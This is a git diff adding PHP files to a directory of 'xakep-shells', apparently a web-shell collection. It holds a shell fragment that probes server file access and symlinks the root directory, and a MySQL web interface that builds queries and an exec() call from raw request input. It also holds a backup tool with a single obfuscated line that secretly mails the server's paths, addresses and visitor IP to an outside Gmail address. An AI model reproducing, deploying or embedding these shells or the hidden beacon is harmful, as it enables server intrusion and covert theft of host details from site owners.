+ echo ""; $this->output_state(1, "readfile"); $this->read_method = "readfile"; $sys = true; } else { echo " -->"; $this->output_state(0, "readfile"); }
+ if (@fopen($file, "r")) { $this->output_state(1, "fopen "); $this->read_method = "fopen"; $sys = true; } else { $this->output_state(0, "fopen "); }
+ if (@file($file)) { $this->output_state(1, "file "); $this->read_method = "file"; $sys = true; } else { $this->output_state(0, "file "); }
+ if ($sys) { return 1; } else { return ; }
+ }
+
+ function miscfile_checks() {
+ $currentdir = @getcwd();
+ $scriptpath = $_SERVER["PATH_TRANSLATED"];
+ if (@opendir($currentdir)) {
+ $this->output_state(2, "opendir \$cwd");
+ $dp = @opendir("$currentdir");
+ $files="";
+ $this->browse_state = "lim";
+ while($file = @readdir($dp)) { $files .= $file; }
+ if (@strstr($files, '.')) { $this->output_state(2, "readdir \$cwd"); $this->browse_state = "lim"; } else { $this->output_state(0, "readdir \$cwd"); }
+
+ } else { $this->output_state(0, "opendir \$cwd"); }
+ if (@opendir("/")) {
+ $this->output_state(1, "opendir /");
+ $sys = true;
+ $dp = @opendir("/");
+ $this->browse_state = "yes";
+ $files="";
+ while($file = @readdir($dp)) { $files .= $file; }
+ if (@strstr($files, '.')) { $this->output_state(1, "readdir /"); $this->browse_state = "yes"; } else { $this->output_state(0, "readdir /"); }
+ } else { $this->output_state(0, "opendir /"); }
+ if (@mkdir("$currentdir/test", 0777)) { $this->output_state(1, "mkdir "); $sys = true; } else { $this->output_state(0, "mkdir "); }
+ if (@rmdir("$currentdir/test")) { $this->output_state(1, "rmdir "); $sys = true; } else { $this->output_state(0, "rmdir "); }
+ if (@copy($scriptpath, "$currentdir/copytest")) {
+ $this->output_state(2, "copy ");
+ $sys = true;
+ if (@unlink("$currentdir/copytest")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); }
+ } else {
+ $this->output_state(0, "copy ");
+ }
+ if (@copy($scriptpath, "/tmp/copytest")) {
+ $this->output_state(2, "copy2/tmp");
+ //$sys = true;
+ if (!$del) {
+ if (@unlink("tmp/copytest")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); }
+ }
+ } else {
+ $this->output_state(0, "copy2/tmp");
+ }
+ if (@link("/", "$currentdir/link2root")) {
+ $this->output_state(1, "link ");
+ $sys = true;
+ if (!$del) {
+ if (@unlink("$currentdir/link2root")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); }
+ }
+ } else {
+ $this->output_state(0, "link ");
+ }
+ if (@symlink("/", "$currentdir/link2root")) {
+ $this->output_state(1, "symlink ");
+ $sys = true;
+ if (!$del) {
+ if (@unlink("$currentdir/link2root")) { $this->output_state(2, "unlink "); $del = true; } else { $this->output_state(0, "unlink "); }
+ }
+ } else {
+ $this->output_state(0, "symlink ");
+ }
+ if ($sys) { return 1; } else { return ; }
+ }
+ function mysql_checks() {
+ if ($this->mysql_do=="yes") {
+ if (@mysql_pconnect($this->mysql_host, $this->mysql_user, $this->mysql_pass)) {
+ $this->output_state(1, "mysql_pconnect"); $mstate = 1; $this->mysql_state = "ok";
+ } else { $this->output_state(0, "mysql_pconnect"); $mstate = 0; $this->mysql_state = "fail"; }
+ } else { $this->output_state(3, "mysql_pconnect"); $mstate = 2; $this->mysql_state = "pass"; }
+ if ($this->mysql_do=="yes") {
+ if (@mysql_connect($this->mysql_host, $this->mysql_user, $this->mysql_pass)) {
+ $this->output_state(1, "mysql_connect"); $mstate = 1; $this->mysql_state = "ok";
+ } else { $this->output_state(0, "mysql_connect"); $mstate = 0; $this->mysql_state = "fail"; }
+ } else { $this->output_state(3, "mysql_connect"); $mstate = 2; $this->mysql_state = "pass"; }
+ if ($this->mysql_state=="fail") {
+ echo "";
+ echo "";
+ }
+ return $mstate;
+ }
+ }
+
+
+
+// the end :]
+?>
+ Copyright © 2003 BSV Groups
+ PHP Shell Support by DTN
\ No newline at end of file
diff --git a/xakep-shells/PHP/mysql_shell.php.txt b/xakep-shells/PHP/mysql_shell.php.txt
new file mode 100644
index 0000000..13cd5c8
--- /dev/null
+++ b/xakep-shells/PHP/mysql_shell.php.txt
@@ -0,0 +1,1169 @@
+
+/*
+ * MySQL Web Interface Version 0.8
+ * -------------------------------
+ * Developed By SooMin Kim (smkim@popeye.snu.ac.kr)
+ * License : GNU Public License (GPL)
+ * Homepage : http://popeye.snu.ac.kr/~smkim/mysql
+ */
+
+$HOSTNAME = "localhost";
+
+function logon() {
+ global $PHP_SELF;
+
+ setcookie( "mysql_web_admin_username" );
+ setcookie( "mysql_web_admin_password" );
+ echo "\n";
+ echo "\n";
+ echo "MySQL Web Interface \n";
+ echo "\n";
+ echo "\n";
+ echo "\n";
+ echo "\n";
+ echo "\n";
+}
+
+function logon_submit() {
+ global $username, $password, $PHP_SELF;
+
+ setcookie( "mysql_web_admin_username", $username );
+ setcookie( "mysql_web_admin_password", $password );
+ echo "";
+ echo "";
+ echo " ";
+ echo "";
+ echo "";
+}
+
+function echoQueryResult() {
+ global $queryStr, $errMsg;
+
+ if( $errMsg == "" ) $errMsg = "Success";
+ if( $queryStr != "" ) {
+ echo "\n";
+ echo "Query $queryStr \n";
+ echo "Result $errMsg \n";
+ echo "
\n";
+ }
+}
+
+function listDatabases() {
+ global $mysqlHandle, $PHP_SELF;
+
+ echo "
Database List \n";
+
+ echo "\n";
+ echo " \n";
+ echo " \n";
+ echo " \n";
+ echo " \n";
+ echo " \n";
+
+ echo "\n";
+
+ $pDB = mysql_list_dbs( $mysqlHandle );
+ $num = mysql_num_rows( $pDB );
+ for( $i = 0; $i < $num; $i++ ) {
+ $dbname = mysql_dbname( $pDB, $i );
+ echo "\n";
+ echo "$dbname \n";
+ echo "Table \n";
+ echo "Drop \n";
+ echo "Dump \n";
+ echo " \n";
+ }
+ echo "
\n";
+}
+
+function createDatabase() {
+ global $mysqlHandle, $dbname, $PHP_SELF;
+
+ mysql_create_db( $dbname, $mysqlHandle );
+ listDatabases();
+}
+
+function dropDatabase() {
+ global $mysqlHandle, $dbname, $PHP_SELF;
+
+ mysql_drop_db( $dbname, $mysqlHandle );
+ listDatabases();
+}
+
+function listTables() {
+ global $mysqlHandle, $dbname, $PHP_SELF;
+
+ echo "Table List \n";
+ echo "$dbname
\n";
+ echoQueryResult();
+ echo "\n";
+ echo " \n";
+ echo " \n";
+ echo " \n";
+ echo " \n";
+ echo " \n";
+ echo "\n";
+ echo " \n";
+ echo " \n";
+ echo " \n";
+ //echo " ";
+ echo " \n";
+ echo " \n";
+ echo " \n";
+
+ $pTable = mysql_list_tables( $dbname );
+
+ if( $pTable == 0 ) {
+ $msg = mysql_error();
+ echo "Error : $msg \n";
+ return;
+ }
+ $num = mysql_num_rows( $pTable );
+
+ echo "
\n";
+
+ for( $i = 0; $i < $num; $i++ ) {
+ $tablename = mysql_tablename( $pTable, $i );
+
+ echo "\n";
+ echo "\n";
+ echo "$tablename\n";
+ echo " \n";
+ echo "\n";
+ echo "Schema \n";
+ echo " \n";
+ echo "\n";
+ echo "Data \n";
+ echo " \n";
+ echo "\n";
+ echo "Drop \n";
+ echo " \n";
+ echo "\n";
+ echo "Dump \n";
+ echo " \n";
+ echo " \n";
+ }
+
+ echo "
";
+}
+
+function createTable() {
+ global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
+
+ $queryStr = "CREATE TABLE $tablename ( no INT )";
+ mysql_select_db( $dbname, $mysqlHandle );
+ mysql_query( $queryStr, $mysqlHandle );
+ $errMsg = mysql_error();
+
+ listTables();
+}
+
+function dropTable() {
+ global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
+
+ $queryStr = "DROP TABLE $tablename";
+ mysql_select_db( $dbname, $mysqlHandle );
+ mysql_query( $queryStr, $mysqlHandle );
+ $errMsg = mysql_error();
+
+ listTables();
+}
+
+function viewSchema() {
+ global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
+
+ echo "Table Schema \n";
+ echo "$dbname > $tablename
\n";
+
+ echoQueryResult();
+
+ echo "Add Field | \n";
+ echo "View Data \n";
+ echo " \n";
+
+ $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
+ $num = mysql_num_rows( $pResult );
+
+ echo "\n";
+ echo "\n";
+ echo "Field \n";
+ echo "Type \n";
+ echo "Null \n";
+ echo "Key \n";
+ echo "Default \n";
+ echo "Extra \n";
+ echo "Action \n";
+ echo " \n";
+
+ for( $i = 0; $i < $num; $i++ ) {
+ $field = mysql_fetch_array( $pResult );
+ echo "\n";
+ echo "".$field["Field"]." \n";
+ echo "".$field["Type"]." \n";
+ echo "".$field["Null"]." \n";
+ echo "".$field["Key"]." \n";
+ echo "".$field["Default"]." \n";
+ echo "".$field["Extra"]." \n";
+ $fieldname = $field["Field"];
+ echo "Edit \n";
+ echo "Drop \n";
+ echo " \n";
+ }
+ echo "
\n";
+}
+
+function manageField( $cmd ) {
+ global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;
+
+ if( $cmd == "add" )
+ echo "Add Field \n";
+ else if( $cmd == "edit" ) {
+ echo "Edit Field \n";
+ $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
+ $num = mysql_num_rows( $pResult );
+ for( $i = 0; $i < $num; $i++ ) {
+ $field = mysql_fetch_array( $pResult );
+ if( $field["Field"] == $fieldname ) {
+ $fieldtype = $field["Type"];
+ $fieldkey = $field["Key"];
+ $fieldextra = $field["Extra"];
+ $fieldnull = $field["Null"];
+ $fielddefault = $field["Default"];
+ break;
+ }
+ }
+ $type = strtok( $fieldtype, " (,)\n" );
+ if( strpos( $fieldtype, "(" ) ) {
+ if( $type == "enum" | $type == "set" ) {
+ $valuelist = strtok( " ()\n" );
+ } else {
+ $M = strtok( " (,)\n" );
+ if( strpos( $fieldtype, "," ) )
+ $D = strtok( " (,)\n" );
+ }
+ }
+ }
+
+ echo "$dbname > $tablename
\n";
+ echo "\n";
+
+ if( $cmd == "add" )
+ echo " \n";
+ else if( $cmd == "edit" ) {
+ echo " \n";
+ echo " \n";
+ }
+ echo " \n";
+ echo " \n";
+
+ echo "Name \n";
+ echo "\n";
+?>
+
+
Type
+
+
+* `M' indicates the maximum display size.
+* `D' applies to floating-point types and indicates the number of digits following the decimal point.
+
+
+
+
+
+
+Flags
+
+
+
+
+
+ if( $cmd == "add" )
+ echo " \n";
+ else if( $cmd == "edit" )
+ echo " \n";
+ echo " \n";
+ echo "
\n";
+}
+
+function manageField_submit( $cmd ) {
+ global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
+ $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;
+
+ if( $cmd == "add" )
+ $queryStr = "ALTER TABLE $tablename ADD $name ";
+ else if( $cmd == "edit" )
+ $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";
+
+ if( $M != "" )
+ if( $D != "" )
+ $queryStr .= "$type($M,$D) ";
+ else
+ $queryStr .= "$type($M) ";
+ else if( $valuelist != "" ) {
+ $valuelist = stripslashes( $valuelist );
+ $queryStr .= "$type($valuelist) ";
+ } else
+ $queryStr .= "$type ";
+
+ $queryStr .= "$unsigned $zerofill $binary ";
+
+ if( $default_value != "" )
+ $queryStr .= "DEFAULT '$default_value' ";
+
+ $queryStr .= "$not_null $auto_increment";
+
+ mysql_select_db( $dbname, $mysqlHandle );
+ mysql_query( $queryStr, $mysqlHandle );
+ $errMsg = mysql_error();
+
+ // key change
+ $keyChange = false;
+ $result = mysql_query( "SHOW KEYS FROM $tablename" );
+ $primary = "";
+ while( $row = mysql_fetch_array($result) )
+ if( $row["Key_name"] == "PRIMARY" ) {
+ if( $row[Column_name] == $name )
+ $keyChange = true;
+ else
+ $primary .= ", $row[Column_name]";
+ }
+ if( $primary_key == "PRIMARY KEY" ) {
+ $primary .= ", $name";
+ $keyChange = !$keyChange;
+ }
+ $primary = substr( $primary, 2 );
+ if( $keyChange == true ) {
+ $q = "ALTER TABLE $tablename DROP PRIMARY KEY";
+ mysql_query( $q );
+ $queryStr .= " \n" . $q;
+ $errMsg .= " \n" . mysql_error();
+ $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
+ mysql_query( $q );
+ $queryStr .= " \n" . $q;
+ $errMsg .= " \n" . mysql_error();
+ }
+
+ viewSchema();
+}
+
+function dropField() {
+ global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
+
+ $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
+ mysql_select_db( $dbname, $mysqlHandle );
+ mysql_query( $queryStr , $mysqlHandle );
+ $errMsg = mysql_error();
+
+ viewSchema();
+}
+
+function viewData( $queryStr ) {
+ global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;
+
+ echo "Data in Table \n";
+ if( $tablename != "" )
+ echo "$dbname > $tablename
\n";
+ else
+ echo "$dbname
\n";
+
+ $queryStr = stripslashes( $queryStr );
+ if( $queryStr == "" ) {
+ $queryStr = "SELECT * FROM $tablename";
+ if( $orderby != "" )
+ $queryStr .= " ORDER BY $orderby";
+ echo "Add Data | \n";
+ echo "Schema \n";
+ }
+
+ $pResult = mysql_db_query( $dbname, $queryStr );
+ $errMsg = mysql_error();
+
+ $GLOBALS[queryStr] = $queryStr;
+
+ if( $pResult == false ) {
+ echoQueryResult();
+ return;
+ }
+ if( $pResult == 1 ) {
+ $errMsg = "Success";
+ echoQueryResult();
+ return;
+ }
+
+ echo " \n";
+
+ $row = mysql_num_rows( $pResult );
+ $col = mysql_num_fields( $pResult );
+
+ if( $row == 0 ) {
+ echo "No Data Exist!";
+ return;
+ }
+
+ if( $rowperpage == "" ) $rowperpage = 20;
+ if( $page == "" ) $page = 0;
+ else $page--;
+ mysql_data_seek( $pResult, $page * $rowperpage );
+
+ echo "\n";
+ echo "\n";
+ for( $i = 0; $i < $col; $i++ ) {
+ $field = mysql_fetch_field( $pResult, $i );
+ echo "";
+ echo "".$field->name." \n";
+ echo " \n";
+ }
+ echo "Action \n";
+ echo " \n";
+
+ for( $i = 0; $i < $rowperpage; $i++ ) {
+ $rowArray = mysql_fetch_row( $pResult );
+ if( $rowArray == false ) break;
+ echo "\n";
+ $key = "";
+ for( $j = 0; $j < $col; $j++ ) {
+ $data = $rowArray[$j];
+
+ $field = mysql_fetch_field( $pResult, $j );
+ if( $field->primary_key == 1 )
+ $key .= "&" . $field->name . "=" . $data;
+
+ if( strlen( $data ) > 20 )
+ $data = substr( $data, 0, 20 ) . "...";
+ $data = htmlspecialchars( $data );
+ echo "\n";
+ echo "$data\n";
+ echo " \n";
+ }
+
+ if( $key == "" )
+ echo "no Key \n";
+ else {
+ echo "Edit \n";
+ echo "Delete \n";
+ }
+ echo " \n";
+ }
+ echo "
\n";
+
+ echo "\n";
+ echo "\n";
+ echo "\n";
+ echo ($page+1)."/".(int)($row/$rowperpage+1)." page";
+ echo " \n";
+ echo " | ";
+ if( $page > 0 ) {
+ echo "Prev \n";
+ } else
+ echo "Prev";
+ echo " | ";
+ if( $page < ($row/$rowperpage)-1 ) {
+ echo "Next \n";
+ } else
+ echo "Next";
+ echo " | ";
+ if( $row > $rowperpage ) {
+ echo " \n";
+ echo " \n";
+ }
+ echo " \n";
+ echo " \n";
+}
+
+function manageData( $cmd ) {
+ global $mysqlHandle, $dbname, $tablename, $PHP_SELF;
+
+ if( $cmd == "add" )
+ echo "Add Data \n";
+ else if( $cmd == "edit" ) {
+ echo "Edit Data \n";
+ $pResult = mysql_list_fields( $dbname, $tablename );
+ $num = mysql_num_fields( $pResult );
+
+ $key = "";
+ for( $i = 0; $i < $num; $i++ ) {
+ $field = mysql_fetch_field( $pResult, $i );
+ if( $field->primary_key == 1 )
+ if( $field->numeric == 1 )
+ $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
+ else
+ $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
+ }
+ $key = substr( $key, 0, strlen($key)-4 );
+
+ mysql_select_db( $dbname, $mysqlHandle );
+ $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
+ $data = mysql_fetch_array( $pResult );
+ }
+
+ echo "$dbname > $tablename
\n";
+
+ echo "\n";
+ if( $cmd == "add" )
+ echo " \n";
+ else if( $cmd == "edit" )
+ echo " \n";
+ echo " \n";
+ echo " \n";
+ echo "\n";
+ if( $cmd == "add" )
+ echo " \n";
+ else if( $cmd == "edit" )
+ echo " \n";
+ echo " \n";
+ echo "
\n";
+}
+
+function manageData_submit( $cmd ) {
+ global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
+
+ $pResult = mysql_list_fields( $dbname, $tablename );
+ $num = mysql_num_fields( $pResult );
+
+ mysql_select_db( $dbname, $mysqlHandle );
+ if( $cmd == "add" )
+ $queryStr = "INSERT INTO $tablename VALUES (";
+ else if( $cmd == "edit" )
+ $queryStr = "REPLACE INTO $tablename VALUES (";
+ for( $i = 0; $i < $num-1; $i++ ) {
+ $field = mysql_fetch_field( $pResult );
+ $func = $GLOBALS[$field->name."_function"];
+ if( $func != "" )
+ $queryStr .= " $func(";
+ if( $field->numeric == 1 ) {
+ $queryStr .= $GLOBALS[$field->name];
+ if( $func != "" )
+ $queryStr .= "),";
+ else
+ $queryStr .= ",";
+ } else {
+ $queryStr .= "'" . $GLOBALS[$field->name];
+ if( $func != "" )
+ $queryStr .= "'),";
+ else
+ $queryStr .= "',";
+ }
+ }
+ $field = mysql_fetch_field( $pResult );
+ if( $field->numeric == 1 )
+ $queryStr .= $GLOBALS[$field->name] . ")";
+ else
+ $queryStr .= "'" . $GLOBALS[$field->name] . "')";
+
+ mysql_query( $queryStr , $mysqlHandle );
+ $errMsg = mysql_error();
+
+ viewData( "" );
+}
+
+function deleteData() {
+ global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
+
+ $pResult = mysql_list_fields( $dbname, $tablename );
+ $num = mysql_num_fields( $pResult );
+
+ $key = "";
+ for( $i = 0; $i < $num; $i++ ) {
+ $field = mysql_fetch_field( $pResult, $i );
+ if( $field->primary_key == 1 )
+ if( $field->numeric == 1 )
+ $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
+ else
+ $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
+ }
+ $key = substr( $key, 0, strlen($key)-4 );
+
+ mysql_select_db( $dbname, $mysqlHandle );
+ $queryStr = "DELETE FROM $tablename WHERE $key";
+ mysql_query( $queryStr, $mysqlHandle );
+ $errMsg = mysql_error();
+
+ viewData( "" );
+}
+
+function dump() {
+ global $PHP_SELF, $USERNAME, $PASSWORD, $action, $dbname, $tablename;
+
+ if( $action == "dumpTable" )
+ $filename = $tablename;
+ else
+ $filename = $dbname;
+
+ header("Content-disposition: filename=$filename.sql");
+ header("Content-type: application/octetstream");
+ header("Pragma: no-cache");
+ header("Expires: 0");
+
+ $pResult = mysql_query( "show variables" );
+ while( 1 ) {
+ $rowArray = mysql_fetch_row( $pResult );
+ if( $rowArray == false ) break;
+ if( $rowArray[0] == "basedir" )
+ $bindir = $rowArray[1]."bin/";
+ }
+
+ exec( $bindir."mysqldump --user=$USERNAME --password=$PASSWORD $dbname $tablename" );
+}
+
+function utils() {
+ global $PHP_SELF, $command;
+ echo "Utilities \n";
+ if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
+ echo " \n";
+ echo "Show\n";
+ echo "\n";
+ echo "Flush\n";
+ echo "\n";
+ echo "Hosts \n";
+ if( $command == "flush_hosts" ) {
+ if( mysql_query( "Flush hosts" ) != false )
+ echo "- Success ";
+ else
+ echo "- Fail ";
+ }
+ echo "Logs \n";
+ if( $command == "flush_logs" ) {
+ if( mysql_query( "Flush logs" ) != false )
+ echo "- Success ";
+ else
+ echo "- Fail ";
+ }
+ echo "Privileges \n";
+ if( $command == "flush_privileges" ) {
+ if( mysql_query( "Flush privileges" ) != false )
+ echo "- Success ";
+ else
+ echo "- Fail ";
+ }
+ echo "Tables \n";
+ if( $command == "flush_tables" ) {
+ if( mysql_query( "Flush tables" ) != false )
+ echo "- Success ";
+ else
+ echo "- Fail ";
+ }
+ echo "Status \n";
+ if( $command == "flush_status" ) {
+ if( mysql_query( "Flush status" ) != false )
+ echo "- Success ";
+ else
+ echo "- Fail ";
+ }
+ echo " \n";
+ } else {
+ $queryStr = ereg_replace( "_", " ", $command );
+ $pResult = mysql_query( $queryStr );
+ if( $pResult == false ) {
+ echo "Fail";
+ return;
+ }
+ $col = mysql_num_fields( $pResult );
+
+ echo "$queryStr
\n";
+ echo " \n";
+
+ echo "\n";
+ echo "\n";
+ for( $i = 0; $i < $col; $i++ ) {
+ $field = mysql_fetch_field( $pResult, $i );
+ echo "".$field->name." \n";
+ }
+ echo " \n";
+
+ while( 1 ) {
+ $rowArray = mysql_fetch_row( $pResult );
+ if( $rowArray == false ) break;
+ echo "\n";
+ for( $j = 0; $j < $col; $j++ )
+ echo "".htmlspecialchars( $rowArray[$j] )." \n";
+ echo " \n";
+ }
+ echo "
\n";
+ }
+}
+
+function header_html() {
+ global $PHP_SELF;
+
+?>
+
+
+MySQL Web Interface
+
+
+
+
+}
+
+function footer_html() {
+ global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;
+
+ echo " \n";
+ echo "\n";
+ echo "[$USERNAME] - \n";
+
+ echo "Database List | \n";
+ if( $tablename != "" )
+ echo "Table List | ";
+ echo "Utils |\n";
+ echo "Logout \n";
+ echo " \n";
+ echo "\n";
+ echo "\n";
+}
+
+//------------------------------------------------------ MAIN
+
+if( $action == "logon" || $action == "" || $action == "logout" )
+ logon();
+else if( $action == "logon_submit" )
+ logon_submit();
+else if( $action == "dumpTable" || $action == "dumpDB" ) {
+ while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
+ if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
+ if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
+ }
+ $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );
+ dump();
+} else {
+ while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
+ if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
+ if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
+ }
+ echo "";
+
+ if( $mysqlHandle == false ) {
+ echo "\n";
+ echo "\n";
+ echo "MySQL Web Interface \n";
+ echo "\n";
+ echo "\n";
+ echo "\n";
+ echo "Wrong Password! \n";
+ echo "Logon \n";
+ echo "
\n";
+ echo "\n";
+ echo "\n";
+ } else {
+ header_html();
+ if( $action == "listDBs" )
+ listDatabases();
+ else if( $action == "createDB" )
+ createDatabase();
+ else if( $action == "dropDB" )
+ dropDatabase();
+ else if( $action == "listTables" )
+ listTables();
+ else if( $action == "createTable" )
+ createTable();
+ else if( $action == "dropTable" )
+ dropTable();
+ else if( $action == "viewSchema" )
+ viewSchema();
+ else if( $action == "query" )
+ viewData( $queryStr );
+ else if( $action == "addField" )
+ manageField( "add" );
+ else if( $action == "addField_submit" )
+ manageField_submit( "add" );
+ else if( $action == "editField" )
+ manageField( "edit" );
+ else if( $action == "editField_submit" )
+ manageField_submit( "edit" );
+ else if( $action == "dropField" )
+ dropField();
+ else if( $action == "viewData" )
+ viewData( "" );
+ else if( $action == "addData" )
+ manageData( "add" );
+ else if( $action == "addData_submit" )
+ manageData_submit( "add" );
+ else if( $action == "editData" )
+ manageData( "edit" );
+ else if( $action == "editData_submit" )
+ manageData_submit( "edit" );
+ else if( $action == "deleteData" )
+ deleteData();
+ else if( $action == "utils" )
+ utils();
+
+ mysql_close( $mysqlHandle);
+ footer_html();
+ }
+}
+
+?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/mysql_tool.php.php.txt b/xakep-shells/PHP/mysql_tool.php.php.txt
new file mode 100644
index 0000000..fd057b7
--- /dev/null
+++ b/xakep-shells/PHP/mysql_tool.php.php.txt
@@ -0,0 +1,1078 @@
+timestamp = time();
+
+ if (!$this->maximum_time)
+ {
+ //set_time_limit(0);
+ $this->maximum_time = ini_get('max_execution_time');
+ }
+
+ if ($HTTP_GET_VARS['act'] == 'login')
+ {
+ $this->do_login();
+ }
+ elseif ($password && $password != $HTTP_COOKIE_VARS['mysqltool'])
+ {
+ $this->login();
+ }
+ else
+ {
+ if ($password)
+ {
+ $this->logged_in = 1;
+ }
+
+ switch ($HTTP_GET_VARS['act'])
+ {
+ case 'logout':
+ $this->logout();
+ break;
+
+ case 'change_db':
+ $this->read_db_details();
+ $this->set_database('The current settings do connect however if you wish to change the current database please edit the details below:');
+ break;
+
+ case 'set_database':
+ $this->do_set_database();
+ break;
+
+ case 'backup':
+ $this->backup();
+ break;
+
+ case 'do_backup':
+ $this->do_backup();
+ break;
+
+ case 'restore':
+ $this->restore();
+ break;
+
+ case 'do_restore':
+ $this->do_restore();
+ break;
+
+ default:
+
+ $this->main();
+ }
+ }
+
+ if ($this->link)
+ {
+ mysql_close($this->link);
+ }
+
+ $this->output();
+ }
+
+ function timeout() {
+ if (!$this->maximum_time)
+ {
+ return false;
+ }
+ elseif ((time() - $this->timestamp) > ($this->maximum_time - 5))
+ {
+ return true;
+ }
+ else
+ {
+ return false;
+ }
+ }
+
+ function output() {
+ if ($this->logged_in)
+ {
+ $logout_text = '[ Log Out ]';
+ }
+ else
+ {
+ $logout_text = '';
+ }
+
+ if ($this->title)
+ {
+ $title = $this->title;
+ }
+ else
+ {
+ $title = 'Backup / Restore Tool';
+ }
+
+ print '';
+ print <<
+
+
+$title
+
+{$this->meta}
+
+
+
+
+
+
+$this->output
+
+
+
+
+HTML;
+ }
+
+ function error($error) {
+ $this->output = <<
+
+
+HTML;
+ }
+
+ function login() {
+ $this->output = <<
+
+
+ MySQL Tool :: Please Login
+
+
+
+
+
+
+
+
+HTML;
+ }
+
+ function do_login() {
+ global $HTTP_POST_VARS, $password;
+
+ if ($HTTP_POST_VARS['password'] == $password)
+ {
+ @setcookie ('mysqltool',$password,time()+3600*24*365);
+ $this->logged_in = 1;
+ $this->main();
+ }
+ else
+ {
+ $this->error('Invalid Password');
+ }
+ }
+
+ function logout() {
+ @setcookie ('mysqltool','',0);
+ $this->logged_in = 0;
+ $this->login();
+ }
+
+ function connect($return_errors = 0) {
+ if (!$this->db['port'])
+ {
+ $this->db['port'] = '3306';
+ }
+
+ $error_text = '';
+
+ $this->link = @mysql_connect ($this->db['host'] . ':' . $this->db['port'], $this->db['user'], $this->db['pass']);
+
+ if ($this->link)
+ {
+ if(!@mysql_select_db($this->db['name'],$this->link))
+ {
+ $error_text = 'Failed selecting database "'.$this->db['name'].'" '.@mysql_error($this->link);
+ }
+ }
+ else
+ {
+ $error_text = 'Failed connecting to MySQL '.@mysql_error();
+ }
+
+ if ($return_errors)
+ {
+ return $error_text;
+ }
+ else
+ {
+ if ($error_text)
+ {
+ $this->error($error_text);
+ return false;
+ }
+ else
+ {
+ return true;
+ }
+ }
+
+ }
+
+ function read_db_details() {
+ if (file_exists('tool_settings.php'))
+ {
+ // Lets borrow IPB's settings
+ include 'tool_settings.php';
+
+ $this->db = $data;
+ }
+ elseif (file_exists('conf_global.php'))
+ {
+ // Lets borrow IPB's settings
+ include 'conf_global.php';
+
+ $this->db = array(
+ 'port' => $INFO['sql_port'],
+ 'host' => $INFO['sql_host'],
+ 'name' => $INFO['sql_database'],
+ 'user' => $INFO['sql_user'],
+ 'pass' => $INFO['sql_pass'],
+ 'prefix' => $INFO['sql_tbl_prefix']
+ );
+ }
+ else
+ {
+ return false;
+ }
+
+ return true;
+ }
+
+ function do_set_database() {
+ global $HTTP_POST_VARS;
+
+ $this->db = array(
+ 'port' => $HTTP_POST_VARS['port'],
+ 'host' => $HTTP_POST_VARS['host'],
+ 'name' => $HTTP_POST_VARS['name'],
+ 'user' => $HTTP_POST_VARS['user'],
+ 'pass' => $HTTP_POST_VARS['pass']
+ );
+
+ if (!$this->connect())
+ {
+ return;
+ }
+
+ // Connection details are fine, let's continue
+
+ $file_data = " '{$HTTP_POST_VARS['port']}',
+ 'host' => '{$HTTP_POST_VARS['host']}',
+ 'name' => '{$HTTP_POST_VARS['name']}',
+ 'user' => '{$HTTP_POST_VARS['user']}',
+ 'pass' => '{$HTTP_POST_VARS['pass']}'
+);
+
+?".'>';
+
+ $file_data = str_replace("\r\n","\n",$file_data);
+
+
+ // Mkay, lets write the details
+ if ($fp = fopen('tool_settings.php','w'))
+ {
+ fwrite($fp,$file_data);
+ fclose($fp);
+ }
+ else
+ {
+ $this->error('
+ Unable to write to tool_settings.php
+ Please CHMOD this file so it is writable. If this is not possible please create a file named "tool_settings.php" with the contents of the text box below:
+
+ '.htmlentities($file_data).'
+
');
+
+ return false;
+ }
+
+ // Funky, lets roll
+ $this->main();
+
+ return true;
+ }
+ $ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
+ function set_database($error = false) {
+ if (!$error)
+ {
+ $text = 'We were unable to find any database settings, please enter your database details below:';
+ }
+ else
+ {
